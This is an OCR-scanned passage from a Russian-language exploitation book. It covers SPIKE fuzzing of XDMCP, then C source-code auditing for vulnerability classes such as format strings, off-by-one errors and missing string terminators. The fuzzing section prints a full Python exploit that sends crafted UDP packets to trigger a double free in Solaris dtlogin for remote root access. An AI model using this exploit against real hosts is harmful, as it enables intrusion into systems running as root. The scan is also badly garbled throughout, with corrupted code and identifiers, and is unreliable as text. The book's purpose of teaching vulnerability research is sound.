Прсирамма SPIKE 235 г ^^^^М^^ИйМ^Д^^^^^Д ?Не ЕШ Captive ШрГ&у T&ate |No , jTjme ] Source (Destination- 1 0,000000 192.168.1.101 192Д68Д.104 I 2 0.005646¦192.168.1.104 192.168.1.101 4 2.862343 192.168.1.104 192.168.1.101 5 2.862454 192.168.1.101 192.168.1.104 6 4.863027 192.168.1.101 192.168.1.104 7 8.863529 192.168.1.101 192.168.1.104 | protocol \ш XDMCP Que XDMCP 1*1 ll XDMCP Ace XDMCP Man XDMCP Man XDMCP Man ry ling ept age age age 0 «capture* - Ethereal mQX Ш Frame 3 A08 bytes on wire, 108 bytes captured) Ш Ethernet II, Src: 00:50:ba:60:51:5c, Dst: 08:00:20:b5:a3:f3 Ш Internet Protocob Src ftddr: 192.168.1.101 A92.168.1.101), Dst Addr: 192.168.1.104 A92.168.1.104) E User Datagram Protocol, Src Port: 34130 C4130), Dst Port: xdmcp A77) В X Display Manager Control Protocol Version: 1 Opcode: Request @x0007) I Message length: 60 ] Display number: 2 ] ? Connections A) В Connection 1: 192.168.1.101 jj Type: Internet Address: 192.168.1.101 Authentication name: Authentication data @ bytes) { В Authorization names B) Authorization name: MIT-MAGIC-C00KIE-1 Authorization name: XC-QIIERif-SECURITY-1 || Manufacturer display ID: hi : - . J0000 08 00 20 b5 a3 f3 00 50 ba 60 51 5c 08 00 45 00 0010 00 5e 00 00 40 00 40 11 b6 71 cO a8 01 65 cO a8 0020 01 68 85 52 00 bl 00 4a 2d 95 00 01 00 07 00 3c 0030 00 02 01 00 00 01 00 04 cO a8 01 65 00 00 00 00 0040 02 00 12 4d 49 54 2d 4d 41 47 49 43 2d 43 4f 4f 0050 4b 49 45 2d 31 00 13 58 43 2d 51 55 45 52 59 2d 0060 53 45 43 55 52 49 54 53 2d 31 00 00 |wi .. u?6.P ^ Q\..E. . \.@.@. flqA .eA .h.R.+.J : < ...MIT-M AGIC-C00 KIE-1..X C-QUERY- SECURITY -1.. jrj Reset] Apply j Fiio <ca|jiure> Drops'0 Ьвф II I i 5 1 i*i' j! Рис. 12.1. Анализ запроса X в Ethereal s_int_vanable@x0001.5), //Подключения s_binary("Or). //Тип сети s_mt_vanable@x0000,5), //Адрес 192 168 1 100 //Подключение 1 s_binary(1"), //Размер в байтах //s_binary(M00 04"), s_bi nary_block_si ze_ha1fword_bigendi an(" i p"), //ip s_block_start("ip"). s_binary("cO a8 01 64"j. s_block_end("ip"). //Аутентификационное имя //s_bmary(0 00"). s_bmary_block_si7e_hal fword_bigendian("authname"
236 Глава 12. Искусство фаззинга s_block_start("authname"), s_string_vanable(""); s_block_end("authname"); //Аутентификационные данные s_binary_block_size_halfword_bigendTan("authdata"), s_block_start("authdataM); s_string_variable(""); s_block_end("authdata"); //s_binary(0 00"); //Имена для проверки B) //3 - один байт sjnt_variable@x02,3); //Размер строки с порядком полуслов Big Endian s_bi nary_block_si ze_halfword_bi gendi an("MIT"), s_block_start("MIT"). s_string_vanable("MIT-MAGIC-COOKIE-l"); s block endCMIT"). s_binary_block_size_halfword_bigendian("XC"). s_block_start("XC"), s_string_vanable("XC-QUERY-SECURITY-l"); s block endC'XC"), //manufacture display id s_binary_block_size_halfword_bigendian("DID"), s_block_start("DID"). s_string_vanable(""). s_block_end("DID"), s_block_end("message"); Важная особенность файла заключается в том, что он фактически является прямой копией данных анализа Ethereal. Структура протокола сохранена, но приведена к линейному виду для удобства. В процессе обработки файла SPIKE генерирует модифицированные пакеты запросов xdcmp и передает их объекту. В Solaris в какой-то момент серверная программа дважды вызывает free() для буфера, находящегося под нашим управлением. Это классическая ошибка повторного освобождения памяти, которая может использоваться для перехвата управления удаленной службой, работающей с правами root. Поскольку dtlogin (программа, в которой происходит сбой) входит во многие версии Unix — AIX, Tru64, Irix и другие, включающие CDE, можно достаточно уверенно утверждать, что дефект будет присутствовать и на этих платформах. Совсем неплохо для часа работы. Сосредоточившись на этой атаке, мы получаем следующий сценарий: #'/usr/bi n/python #Copyright Dave Aitel #license GPLv2 0 #SPIKEd! > #v 0.3 9/17 02
Программе! SPIKE 237 import os import sys import socket import time tt Преобразование int в строку с порядком Intel def intel_order(mying)- str="" a=chr(myint % 256) myint=myint » 8 b=chr(myint % 256) myint=myint » 8 c=chr(myint % 256) myint=myint » 8 d=chr(myint % 256) str+="McMc" % (a.b.c.d) return str def sun_order(myint) str="" a=chr(myint % 256) myint=myint » 8 b=chr(myint % 256) myint=myint » 8 c=chr(myint % 256) myint=myint » 8 d=chr(myint % 256) str+="%c%c%c%c" % (d.c.b.a) return str # Возвращает двоичную версию строки def binstnng(instring,size=l) result="" # Удалить все пропуски tmp=instring replaceC ","") tmp=tmp replace("\n","") tmp=tmp replace("\t","") if len(tmp) % 2 '= 0 print "tried to bmstring something of illegal length" return "" while tmp,=,,M two=tmp[ 2] # Учесть символы Ох и \х if two!=x" and two,="\\x"- result+=chr(mt(two.l6)) tmp=tmp[2 ] return result^size # Для трансляции из файла spk def s_binary(instrmg)
238 Глава 12. Искусство фаззинга return binstnng(instnng) # Замена строки "на месте" В Python это нелегко def stroverwrite(instring,overwritestring,offset) head=i nstn ng[ • offset] # Вывод head tai 1 =i nstri ng[of f set+1 en (overwn testn ng) • ] # Вывод tail result=head+overwritesring+tail return result # Чтобы не испортить терминал def prettypnntd nstri ng) tmp="" for ch in instring- if ch isalphaO tmp+=ch else value='lx" % ord(ch) tmp+="["+value+"]" return tmp # Пакет содержит много данных packet 1="" packetl+=binstring(x00 0x01 0x00 0x07 0x00 Oxaa 0x00 0x01 0x01 0x00") packetl+=binstnng(x00 0x01 0x00 0x04 OxcO 0xa8 0x01 0x64 0x00 0x00 0x00 0x00 0x02 0x00") packetl+=binstring (x80") packetl+=binstringCOxfe Oxfe Oxfe Oxfe") packetl+=binstring(xfe Oxfe Oxfe Oxfe Oxfe Oxfe Oxfe Oxfe Oxfe Oxfl 0xf2 0xf3") packetl+=binstring("Oxaa Oxaa Oxaa Oxaa Oxaa Oxaa Oxaa Oxaa Oxaa Oxaa Oxaa Oxff") # To. что будет передано freeO в следующий раз packetl+=sun_order(Oxfefbb5f0) packetl+=binstringC'Oxcf Oxdf Oxef Oxcf") packetl+=sun_order @x51fc8) packetl+=binstnng(xff Oxaa Oxaa Oxaa") packetl+=sun_order (OxffbedOlO) packetl+=binstnng("Oxaa Oxaa Oxaa Oxaa Oxaa Oxaa Oxaa") packetl+=binstring("Oxff 0x5f Oxff Oxff Oxff 0x9f Oxff Oxff Oxff Oxff Oxff Oxff Oxff Oxff") packetl+=binstnng("Oxff 0x3f Oxff Oxff Oxff Oxff Oxff Oxff Oxff Oxff Oxff Oxff Oxff Oxff") packetl+=binstrmg("Oxff Oxff Oxff 0x3f Oxff Oxff Oxff 0x2f Oxff Oxff Oxlf Oxff Oxff Oxff") packetl+=binstnng("Oxff Oxfa Oxff Oxfe Oxff Oxfb Oxff Oxff Oxfe Oxff Oxff Oxff Oxfd Oxff") packetl+=binstnng("Oxfl Oxff 0xf2 Oxff 0xf3 Oxff Oxf4 Oxff 0xf5 Oxff 0xf6 Oxff 0xf7 Oxff") packetl+=binstn'ng("Oxff Oxff Oxff") # Конец строки packetl+=bnnstnng("OxOO 0x13 0xb8 0x43 0x2d ОхЫ 0x55 0x45 0x52 0x59 0x2d")
Программа SPIKE 239 |)<i(kctl+=bmstring(x53 0x45 0x43 0x55 0x52 0x49 0x54 0x59 0x2d 0x31 0x00 0x00") // Зют пакет вызывает переполнение памяти pdcket2="" [)dcket2+=binstring(x00 0x01 0x00 0x07 0x3c 0x00 0x01") |)dcket2+=binstring(x01 0x00 0x00 0x01 0x00 0x04 OxcO 0xa8 0x01 0x64 0x00 0x00 0x00 0x00") packet2+=binstring(x06 0x00 0x12 0x4d 0x49 0x54 0x2d 0x4d 0x41 0x47 0x49 0x43 0x2d 0x43") packet2+=binstrmg(x4f 0x4f 0x4b 0x49 0x45 0x2d 0x31 0x00 0x13 0x58 0x43 0x2d 0x51 0x55") packet2+=binstring(x45 0x52 0x59 0x2d 0x53 0x45 0x43 0x55 0x52 0x49 0x54 0x59 0x2d 0x31") packet2+=binstring(x00 0x00") class xdmcpdexploit. def imt (self) self.port=177 self host="" return def setPort(self.port) self port=port return def setHost(self.host)- self host=host return def run(self) # Подключиться к сокету s = socket socket(socket AFJNET. socket SOCK.DGRAM) s.connect((self host. self.port)) #sploitstnng=self makesploitO print "[*]" Sending first packet s send(packetl) time sleep(l) print "[*] Receiving first response " result=s recv(lOOO) print "result="+prettyprint(result)" if pretyprint(result)=="[0][l][0][9][0][lc][0][16]No20]valid[20]authorization[0][ 0][0][0]". print "That was expected Don't panic We're not valid ever •>" s closeO s = socket socket(socket AFJNET. socket SOCK DGRAM) s connect((self host, selof port)) print "[*]" Sending second packet s send(packet2) #time sleep(l) #result-s recv(lOOO) s closeO print "[*] Done "
if name == ' main ' print "Running xdmcpd exploit v 0.1" print "Works on dtlogin Solaris 8" app = xdcmpexploitO if len(sys argv) < 2 print "Usage* xdcmpx.py target [port]" sys.exitO app.setHost(sys argv[l]) if len(sys argv) == 3: app.setPort(int(sys argv[2])) app run() Другие фаззеры В настоящее время на рынке представлено несколько фаззеров, в том числе коммерческие Hailstorm и еЕуе СНАМ. Многие разработчики написали собственные фаззеры с использованием структур данных, аналогичных структурам SPIKE. Если вы собираетесь писать собственный фаззер, мы рекомендуем писать на языке Python (если код SPIKE когда-нибудь будет написан заново, несомненно, это будет сделано на языке Python). Итоги Трудно полностью раскрыть всю магию фаззинга в одной главе. Остается надеяться, что по мере знакомства с различными фаззерами (а может быть, даже при написании собственного или расширения для уже существующего фаззера) для вас наступит момент, когда невероятно сложный протокол в громадной программе вдруг сдастся под напором элементарного переполнения стека или чего-нибудь в этом роде. Обычно в такие моменты чувствуешь себя так, словно во время бесцельного копания в песке случайно нашел бриллиант.
ГЛАВА 13 Анализ исходных текстов на языках семейства С Анализ исходного кода программ часто оказывается самым эффективным способом выявления новых уязвимостей. Многие популярные программы распрО' < граняются с открытыми исходными текстами, даже разработчики некоторые коммерческих операционных систем публикуют исходные тексты своих продуктов. Имея некоторый опыт, наиболее очевидные дефекты вы сможете выявлять достаточно быстро, тратить же много времени придется только в нетривиальных случаях. Хотя в резерве всегда остается двоичный анализ, доступность исходных текстов существенно упрощает тестирование. В этой главе рассматривается процесс поиска простых и скрытых дефектов в исходных текстах, написанных на языках семейства С. Основное внимание уделяется некорректному использованию памяти. Очень многие занимаются анализом исходных текстов, и у каждого есть на Т° свои причины. Для одних это часть работы или увлечение, другие просто хотЯт получить представление о степени безопасности приложений, которые они з^~ пускают в своих системах. Несомненно, есть и такие, кто ищет в исходных текстах лазейки для вторжения в системы. Впрочем, независимо от причины анал^3 исходных текстов обычно является лучшим способом выявления уязвимостей в приложениях. Если исходный код доступен — используйте его. Вопрос о том, что труднее, находить дефекты или эксплуатировать их, обсужДа" ется довольно давно. У обеих точек зрения есть свои «за» и «против». Некоторые уязвимости абсолютно очевидны для каждого, кто способен читать код, 1*° использовать их на практике почти невозможно. Однако чаще встречается обратная ситуация, и «узким местом» оказывается выявление дефектов, а не 1/1Х эксплуатация. Некоторые уязвимости сами бросаются в глаза; другие трудно разглядеть да#е тогда, когда они находятся прямо перед глазами. Разные программные пакеты содержат код разной сложности. Несомненно, в мире существует масса пло*° написанных программ, но в то же время существуют и очень хорошо написанные программы с открытыми исходными текстами. Успех анализа зависит от хорошего понимания сути. Многие уязвимости, обт*а" руженные в разных приложениях, имеют сходную природу. Если вы найдете
242 Глава 13. Анализ исходных текстов на языках семейства С или распознаете уязвимость в одном приложении, с большой вероятностью похожая ошибка найдется где-нибудь еще. Для поиска нетривиальных дефектов требуется хорошо разбираться в приложении на очень глубоком уровне. Сейчас анализом исходных текстов занимаются гораздо больше людей, чем несколько лет назад, и с течением времени выявляется все больше очевидных и достаточно тривиальных дефектов. Разработчики начали уделять больше внимания проблемам безопасности и реже повторяют старые ошибки. Простые дефекты, «прокравшиеся» в рабочую версию программы, обычно быстро обнаруживаются. Казалось бы, со временем уязвимости должны попадаться все реже и реже; однако в мире постоянно пишется новый код, и неизвестные классы ошибок обнаруживаются с завидной периодичностью. Вы можете не сомневаться в том, что проблемы с безопасностью есть у любой серьезной программы. Вам остается лишь найти их. Инструменты Для тех кто вооружен только текстовым редактором и утилитой grep, анализ исходных текстов будет весьма мучительным занятием. К счастью, существует ряд очень полезных программ, заметно упрощающих эту работу. Как правило, они создавались для упрощения разработки программного обеспечения, но также хорошо работают при анализе. В несложных приложениях иногда удается обойтись без специализированных программ, но в крупных проектах, состоящих из нескольких файлов и каталогов, эти инструменты чрезвычайно полезны. Cscope Cscope — система просмотра исходных текстов, очень удобная для анализа больших кодовых деревьев. Программа была изначально разработана в Bell Labs, а затем опубликована SCO на условиях BSD. В частности, Cscope позволяет найти определение любого символического имени или все ссылки на символическое имя; найти все ссылки па заданную функцию; найти все функции, вызываемые из другой функции, и т. д. При запуске Cscope строит базу данных символических имен и ссылок. Программа легко справляется с исходными текстами даже целых операционных систем и заметно упрощает поиск некоторых типов уязвимостей в крупномасштабной кодовой базе. Она работает практически в любой разновидности Unix с поддержкой curses; также существуют заранее откомпилированные двоичные файлы для Windows. Cscope оказывает неоценимую помощь при анализе и постоянно используется многими специалистами в области безопасности. Возможность вызова Cscope встроена во многие редакторы, в том числе Vim и Emacs. Ctags Программа Ctags предназначена для поиска языковых символических конструкций (тегов) в больших кодовых базах. Она создает файл тегов с ипформаци-
Средства ашоматического анализа исходных текстов 243 ей о местонахождении языковых конструкций в обработанных файлах. Формат лих файлов поддерживается многими редакторами, что позволяет легко просматривать исходные тексты в вашем любимом редакторе. Файлы тегов могут создаваться для многих языков, в первую очередь С и C++. Среди полезных функций Ctags стоит упомянуть возможность немедленного перехода к тегу, выделенному курсором, с последующим возвратом или переходом к следующей позиции в последовательности тегов. Во многие дистрибутивы Linux программа Ctags включается в виде заранее откомпилированного пакета. Редакторы Простота анализа в значительной степени зависит от того, какой редактор выбирается для просмотра исходных текстов. Лучшими кандидатами являются редакторы с функциями, ориентированными на разработку программ и анализ исходных текстов. Два таких редактора — Vim (расширенная версия vi) п Emacs — обладают соответствующими возможностями, а также многими инструментами, специально добавленными для упрощения программирования и поиска в больших объемах программного кода. Во многих редакторах предусмотрена функция поиска пары для любой скобки (открывающей или закрывающей) в исходном тексте. Она может пригодиться при анализе кода с большим количеством вложений в сложных выражениях. Многие программисты имеют глубокие убеждения по этому вопросу и с воистину религиозным рвением используют исключительно «свой» редактор. Хотя одни редакторы по своей сути лучше подходят для решения задачи, чем другие, при выборе редактора очень важно выбрать знакомую, освоенную программу. Cbrowser Во многих программах реализованы те же функции, что и в Cscope и Ctags. Например, Cbrowser предоставляет графический интерфейс для Cscope и может пригодиться программистам, привыкшим работать в графических средах. Средства автоматического анализа исходных текстов Некоторые общедоступные программы позволяю! выполнять статический анализ исходных текстов и обнаруживать уязвимости в автоматическом режиме. Они могут стать хорошей отправной точкой для начинающего аналитика, но ни одна программа еще не вышла на уровень опытного специалиста. Крупные фирмы нередко используют средства автоматического анализа при внутреннем тестировании для поиска простых уязвпмостей, чтобы они не проникли в коммерческие версии программ. Ограниченность таких систем очевидна, и все же они могут пригодиться на начальных этапах работы над большим, сравнительно малоизученным кодовым деревом.
244 Глава 13. Анализ исходных текстов на языках семейсгип С Система статического анализа Splint предназначена для выявления проблем безопасности в С-программах. Механизм анализа в прошлом успешно испольч зовался для автоматического обнаружения таких дефектов, как переполнение! BIND TSIF (хотя уже после того, как об этих дефектах стало известно). Хотя у Splint возникают проблемы при обработке больших и сложных деревьев, про грамма заслуживает внимания. Она была разработана Университетом Вирджи* нии и доступна по адресу www.splint.org/. Приложение CQual обрабатывает аннотации, включенные в исходный С-код, Она расширяет стандартные квалификаторы типа С, а ее логика позволяет определить тип переменных, для которых квалификаторы не были заданы явно. CQual обнаруживает некоторые уязвимости (такие, как дефекты форматных строк), но не справляется с более сложными проблемами, которые выявляются при ручном анализе. Автором CQual является Джефф Фостер (Jeff Foster). Доступны и другие инструменты, например RATS от Secure Software, но они обычно рассчитаны на поиск простейших уязвимостей, редко встречающихся в современных программах. Отдельные классы дефектов лучше поддаются выявлению посредством статического анализа, кроме того несколько не упомянутых здесь общедоступных программ автоматически распознают потенциальные уязвимости форматных строк. Как правило, когда речь заходит о поиске сравнительно сложных уязвимостей в современных программах, возможностей существующих средств статического анализа оказывается недостаточно. Хотя такие программы хорошо подходят для начинающих, большинству серьезных аналитиков возможностей этих программ явно недостаточно. Методология Иногда выявление ошибок объясняется простым везением, даже если аналитик не следует никакому конкретному плану: он просто читает нужный фрагмент программы в нужный момент и находит нечто, оставшееся незамеченным раньше. Но если вы ищете конкретную уязвимость в конкретном приложении или пытаетесь выявить все дефекты (как это должно быть при любом профессиональном анализе исходных текстов), потребуется более четкая методология. Выбор зависит от целей анализа и типа искомых уязвимостей. Далее представлены некоторые возможные способы анализа исходных текстов. Нисходящий анализ При нисходящем (top-down) подходе к анализу исходных текстов аналитик ищет конкретные уязвимости; при этом ему не обязательно во всех подробностях знать, как работает программа. Например, без чтения программы он может провести поиск во всем кодовом дереве уязвимостей форматных строк, относящихся к функции syslog. Конечно, такой метод отличается быстротой, потому что аналитику не нужно досконально разбираться в логике приложения, но у него есть и свои недостатки. Скорее всего, в ходе нисходящего анализа будут
Классы уязвимостей 245 упущены все уязвимости, требующие глубокого понимания контекста программы или не локализуемые в одной части кода. Встречаются уязвимости, которые метко можно найти, глядя на единственную кодовую строку; именно эта категории уязвимостей выявляется нисходящим методом. Для любых дефектов, требующих более глубокого понимания логики программы, придется поискать л ругой способ. Восходящий анализ Мри восходящем (bottom-up) подходе аналитик пытается глубоко разобраться по внутреннем устройстве приложения, читая большие фрагменты кода. Оче- мидной отправной точкой для восходящего анализа является функция main; ее ч i ение от точки входа до точки выхода дает полное представление о работе про- i раммы. Этот метод требует больших затрат времени, но аналитик получает исчерпывающее представление о программе, что помогает ему обнаруживать самые скрытые дефекты. Избирательный анализ У обоих представленных методов имеются недостатки, из-за которых они не могут считаться эффективным методом поиска дефектов. Тем не менее, их комбинация может быть вполне успешной. Как правило, значительная часть /побой кодовой базы не представляет интереса с точки зрения безопасности. Например, переполнение буфера в коде, выявленное после синтаксического разбора конфигурационного файла веб-сервера, принадлежащего пользователю с правами root, не создает серьезных проблем с безопасностью. Для экономии времени и усилий следует сосредоточить внимание на фрагментах кода, в которых с наибольшей вероятностью встречаются дефекты безопасности, используемые на практике. При избирательном подходе к анализу исходных текстов аналитик выделяет код, на работу которого могут повлиять доступные нападающему входные данные, и направляет основные усилия на эту часть кода. Однако желательно хорошо понимать, что происходит в критических фрагментах кода. Если вы не знаете, как работает анализируемый фрагмент и какое место он занимает в приложении, имеет смысл провести предварительное изучение, чтобы не тратить время на неэффективное тестирование. Ничто не раздражает так, как обнаружение замечательного дефекта в коде, недостижимом извне или неконтролируемом посредством входных данных. Как правило, самые успешные аналитики предпочитают избирательный подход. В общем случае избирательная методология является самой эффективной для обнаружения реальных уязвимостей в приложениях. Классы уязвимостей Всегда полезно знать, какие дефекты часто (или редко) встречаются в приложениях. Хотя следующий перечень определенно не полон, мы все же попытались
246 Глава 13. Анализ исходных текстов на языках сомойства С отметить основные разновидности ошибок, встречающихся в современных npil ложениях. Каждые несколько лет обнаруживается новая разновидность дсфсш тов, и почти сразу после этого хакеры выявляют целый пласт уязвимостей Другие уязвимости быстро найти не удается, но в любом случае, чтобы выявит! уязвимость, необходимо сначала опознать ее. Общие логические ошибки Хотя класс общих логических ошибок составляет самую размытую категорий уязвимостей, именно ошибки этой категории лежат в основе многих проблем! Чтобы найти дефекты в логике программирования, создающие угрозу безопам ности, необходимо достаточно хорошо понять само приложение. Разберитеси во внутренних структурах и классах, специфических для приложения, и попрон буйте изобрести способы их некорректного использования. Например, если в приложении задействована стандартная буферная структура или строковый класс, хорошее понимание логики приложения поможет найти те места, в которых члены структуры или класса применяются некорректно или небезопасно, При анализе достаточно защищенных, хорошо протестированных приложений поиск общих логических ошибок может стать вторым по эффективности методом анализа. Пережитки прошлого Некоторые уязвимости, часто встречавшиеся в программах с открытыми исходными текстами еще пять лет назад, в настоящее время почти исчезли. Обычно они воплощаются в форме хорошо известных функций копирования содержимого памяти без проверки, таких как strcpy, sprintf и strcat. Хотя эти функции можно вызывать в приложениях вполне безопасно, раньше они часто использовались неправильно, что приводило к переполнению буфера. Впрочем, в современных программах с открытыми текстами эти типы уязвимостей практически не встречаются. Функции strcpy, sprintf, strcat, gets и другие аналогичные функции не имеют никакой информации о размере приемных буферов. Если правильно выделить приемный буфер или проверить размер данных перед копированием, большинство функций может использоваться без всякого риска, по в противном случае возникает угроза безопасности. Информация об этих проблемах широко распространена в сообществе разработчиков. Например, в man-с границах функций sprintf и strcpy упоминается об опасности вызова этих функций без предварительной проверки границ. Примером уязвимостей данного типа может послужить уязвимость ШАР-сер- вера Вашингтонского университета, ликвидированная в 1998 г. Она «пряталась» в команде authenticate и сводилась к простому копированию строки в локальный стековый буфер без проверки границ: char tmp[MAILTMPLEN]. AUTHENTICATOR *auth. /* Создание копии в верхнем регистре */ ucase (strcpy(tmp,mechanism)).
Классы уязвимостей 247 Преобразование строки к верхнему регистру ставило интересную задачу для чмкеров того времени; в наши дни оно не создает сколько-нибудь реальных пре- мнктвий. Уязвимость ликвидировалась простой проверкой размера входной i фоки и отклонением слишком длинных данных: if (strlen (mechanism) >= MAILTMPLEN) syslog (LOG_ALERT|LOG_AUTH,"System break-in attempt, host-*.80s". tcp_clienthost 0); Форматные строки Уязвимости форматных строк привлекли к себе внимание примерно в 2000 году, п за последние несколько лет было открыто немало серьезных уязвимостей это- 1о класса. Данные дефекты основаны на возможности нападающего контроли- роиать форматную строку, которая передается функциям, получающим аргументы в стиле printf (syslog, *printf и их аналоги). Если нападающий получит контроль над форматной строкой, он сможет передать директивы, приводящие к порче содержимого памяти и выполнению произвольного кода. Эти уязвимости в значительной мере базируются на малоизвестной директиве %п, которая записывает количество уже выведенных байтов по указателю на це- ./юе число. Уязвимости форматных строк очень легко обнаруживаются в процессе анализа. Количество функций, получающих аргументы в стиле printf, относительно не- иелико; часто достаточно поочередно проверить вызовы этих функций на предмет того, может ли нападающий получить контроль над форматной строкой. I [апример, следующие два вызова syslog заметно отличаются друг от друга: Код с потенциальной уязвимостью: syslog(L0G_ERR.string). Код без уязвимости: syslog(L0G_ERR."Us".string). Если в первом примере строка string окажется под контролем нападающего, может возникнуть угроза безопасности. Чтобы убедиться в существовании уязвимости форматной строки, нередко приходится отслеживать поток данных на несколько функций назад. Некоторые приложения содержат собственные реализации аналогов printf, поэтому анализ не должен ограничиваться узким набором стандартных функций. Процедура выявления дефектов форматных строк достаточно стандартна, поэтому поиск таких дефектов может осуществляться автоматически. Самым распространенным местом поиска дефектов форматных строк является код ведения журналов. Часто приходится видеть, как константная форматная строка передается журнальной функции, после чего вывод направляется в буфер и передается syslog с созданием уязвимости. Следующий гипотетический пример демонстрирует классическую уязвимость форматной строки в коде функции ведения журнала: void log_fn(const char *fmt. ) {
248 Глава 13. Анализ исходных текстов на языках сомейства С vajist args; char log_buf[1024]; va_start(args,fmt); vsnpri ntfAog_buf,si zeofAog_buf),fmt,args), va_end(args); syslog(LOG_NOTICE,log_buf); } Уязвимости форматных строк впервые были выявлены на сервере wu-ftpd, а Щ дальнейшем были обнаружены во многих приложениях. Но из-за того, что эти! уязвимости очень легко выявляются в процессе анализа, они практически полностью исчезли во всех основных программных пакетах с открытыми тек» стами. Общие ошибки проверки границ Нередко приложения пытаются организовать проверку границ при выполнении небезопасных операций; впрочем, на практике эта процедура часто организуется неверно. Ошибки проверки границ отличаются от других классов уязви- мостей, в которых проверка вообще отсутствует, однако в конечном счете результат оказывается одним и тем же. Оба типа уязвимостей объясняются логическими ошибками при реализации проверки. Без углубленного анализа кода проверки эти уязвимости часто остаются незамеченными. Другими словами, не стоит полагать, что некоторый фрагмент кода неуязвим только потому, что он пытается проверять границы. Прежде чем следовать дальше, убедитесь в том, что эта попытка делается правильно. Хорошим примером ошибки проверки границ является дефект препроцессора Snort RPC, обнаруженный группой ISS X-Force в начале 2003 г. Следующий фрагмент присутствует в уязвимых версиях Snort: while(index < end) { /* Получить длину фрагмента C1 бит) и переместить указатель к началу фактических данных */ hdrptr = (int *) index, length = (int)(*hdrptr & 0x7FFFFFFF). if (length > size) { DebugMessage(DEBUG_FLOW. "WARNING rpc_decode calculated bad " "length *d\n". length), return, } else { totaljen += length, index += 4, for (i=0. i < length. i++.rpc++.index++.hdrptr++)
Классы уязвимостей 249 *rpc = *index, } I И контексте приложения Length — длина одного фрагмента RPC, a size — размер исгк) пакета данных. Выходной буфер совпадает с входным, а для ссылок на нею в двух разных местах используются переменные грс и index. Программа пытается восстановить фрагменты RPC, удаляя заголовки из потока данных. Мри каждой итерации цикла позиции грс и index увеличиваются, a totaUen представляет размер данных, записанных в буфер. Здесь сделана попытка организовать проверку границ, однако проверка выполняется неверно. Длина текущего фрагмента RPC сравнивается с общим размером данных, тогда как в дей- гмштельности общая длина всех фрагментов RPC, включая текущий, должна сравниваться с размером буфера. При невнимательном просмотре кода легко предположить, что проверка выполняется правильно. Данный пример показы- н;кт, как важно проконтролировать все фрагменты, обеспечивающие проверку фапиц в важных местах программы. Циклические конструкции Переполнение буфера очень часто обнаруживается в циклах — вероятно потому, что с точки зрения программирования они несколько сложнее линейного кода. Чем сложнее цикл, тем больше вероятность того, что ошибка программи- <та приведет к появлению уязвимости. Многие широко распространенные п критичные в плане безопасности приложения содержат крайне запутанные циклы, часть значений которых небезопасна. Нередко в программах встречаются циклы внутри циклов; так появляются сложные наборы команд, в которых иероятностъ ошибок весьма велика. Циклы синтаксического разбора и любые циклы обработки пользовательского ввода являются хорошей отправной точкой для анализа приложения. Сосредоточив внимание на этих областях, можно получить ценные результаты с минимальными усилиями. Интересный пример ошибки в сложном цикле даст уязвимость, которую Марк Дауд (Mark Dovvd) обнаружил в функции crackaddr программы Sendmail. Этот цикл слишком велик, чтобы его можно было привести здесь; наверняка он входит в список самых сложных циклов, встречающихся в программах с открытыми исходными текстами. Вследствие сложности и огромного количества переменных, обрабатываемых в цикле, при некоторых комбинациях входных данных происходит переполнение буфера. Sendmail содержит многочисленные проверки для предотвращения переполнения, и все же цикл приводит к непредвиденным последствиям Некоторые аналитики, в том числе польская группа исследователей в области безопасности «The Last Stages of Delirium», недооценили возможность практического использования згой ошибки просто потому, что не нашли комбинации данных, приводящей к переполнению. Уязвимости единичного смещения Уязвимости единичного смещения (или на другое небольшое число) принадлежат к числу распространенных ошибок программирования, при которых совсем
250 Глава 13. Анализ исходных текстов на языках сомойстваС небольшое число байтов записывается за пределами выделенной памяти. *')т| ошибки часто являются результатом некорректного завершения строк нулем неправильной организации циклов или неудачного использования стандартны! строковых функций. В прошлом такие уязвимости встречались в некоторьП распространенных приложениях. Например, следующий фрагмент взят из кода Apache 2 (до 2.0.46); позднее :)Т ошибка была исправлена без особого шума: if (lastjen + len > allocjen) { char *fold_buf, allocjen += allocjen; if (lastjen + len > allocjen) { allocjen = lastjen + len, } fold_buf = (char *)apr_palloc(r->pool, allocjen). memcpy(fold_buf, last_field, lastjen), last_field = fold_buf, } memcpy(last_field + lastjen. field, len +1). Код обрабатывает MI ME-заголовки, передаваемые как часть запроса веб-сервс» ру. Если первые два условия if истинны, то длина выделенного буфера окажется на 1 меньше, чем следует, и завершающий вызов memcpy запишет нулевой; байт за границей буфера. Использовать этот дефект па практике чрезвычайно трудно из-за нестандартной реализации кучи; тем не менее, перед вами несо-' мненный случай ошибки единичного смещения. Любой цикл, после которого строка завершается нулем, следует дважды проверить на предмет ошибки смещения. Следующий фрагмент FTP-демона OpenBSD демонстрирует проблему: char npath[MAXPATHLEN]. int i, for (l = 0. *name != '\0' && i < sizeof(npath) - 1, i++, name++) { npath[i] = *narne; if (*name == '"') npath[++i] = } npath[i] = '\0'. Хотя программа пытается зарезервировать место для нулевого байта, если последним символом на границе выходного буфера является кавычка, происходит ошибка единичного смещения. Ошибка единичного смещения возникает также при неправильном использовании некоторых библиотечных функций. Например, функция strncat всегда завершает выходную строку нулем; если третий аргумент не будет соответствовать объему оставшегося места в выходном буфере за вычетом одного байта, то функция запишет нулевой байт за границами буфера. Пример неправильного вызова strncat* strcpy(buf."Test ") strncat(buf,sizeof(buf)-strlen(buf)).
Классы уязвимостей 251 lir шпасный вызов: \l rncaKbuf.input,sizeof(buf)-strlen(buf)-l); Ошибки некорректного завершения строк И общем случае строки должны завершаться нуль-символами; это позволяет 'in ко определить их границы и корректно выполнять операции с ними. Отсут- < i мне завершителей у строк может создать дефекты безопасности при выполнении программы. Например, если строка не завершена положенным символом, (одержимое прилегающей памяти будет интерпретировано как продолжение i фоки. Это может привести к различным последствиям, от включения в строку ми in п их символов до порчи памяти за пределами строкового буфера операциями, изменяющими строку. Некоторые библиотечные функции являются источником проблем с завершением строк и требуют особого внимания при анализе исходного кода. Например, если у функции strncpy кончается свободное место н приемном буфере, она не завершает записываемую строку нулем. Программист должен явно записать завершитель, иначе в программе может возникнуть уязвимость. Например, следующий код небезопасен: char dest_buf[256], char not_term_buf[256], strncpy(not_term_buf,input,sizeof(non_term_buf)), strcpy(dest_buf.not_term_buf). Так как вызов strncpy не завершает буфер non_term_buf, второй вызов strcpy небезопасен, хотя оба буфера имеют одинаковый размер. Если вставить следующую строку между strncpy и strcpy, угроза переполнения буфера исчезает: not_term_buf[sizeof(not_term_buf) - 1] = 0. возможность эксплуатации этих дефектов несколько ограничивается состоянием прилегающих буферов, но во многих ситуациях некорректное завершение строк может привести к выполнению постороннего кода. Пропуск завершителя Некоторые уязвимости в приложениях появляются в результате 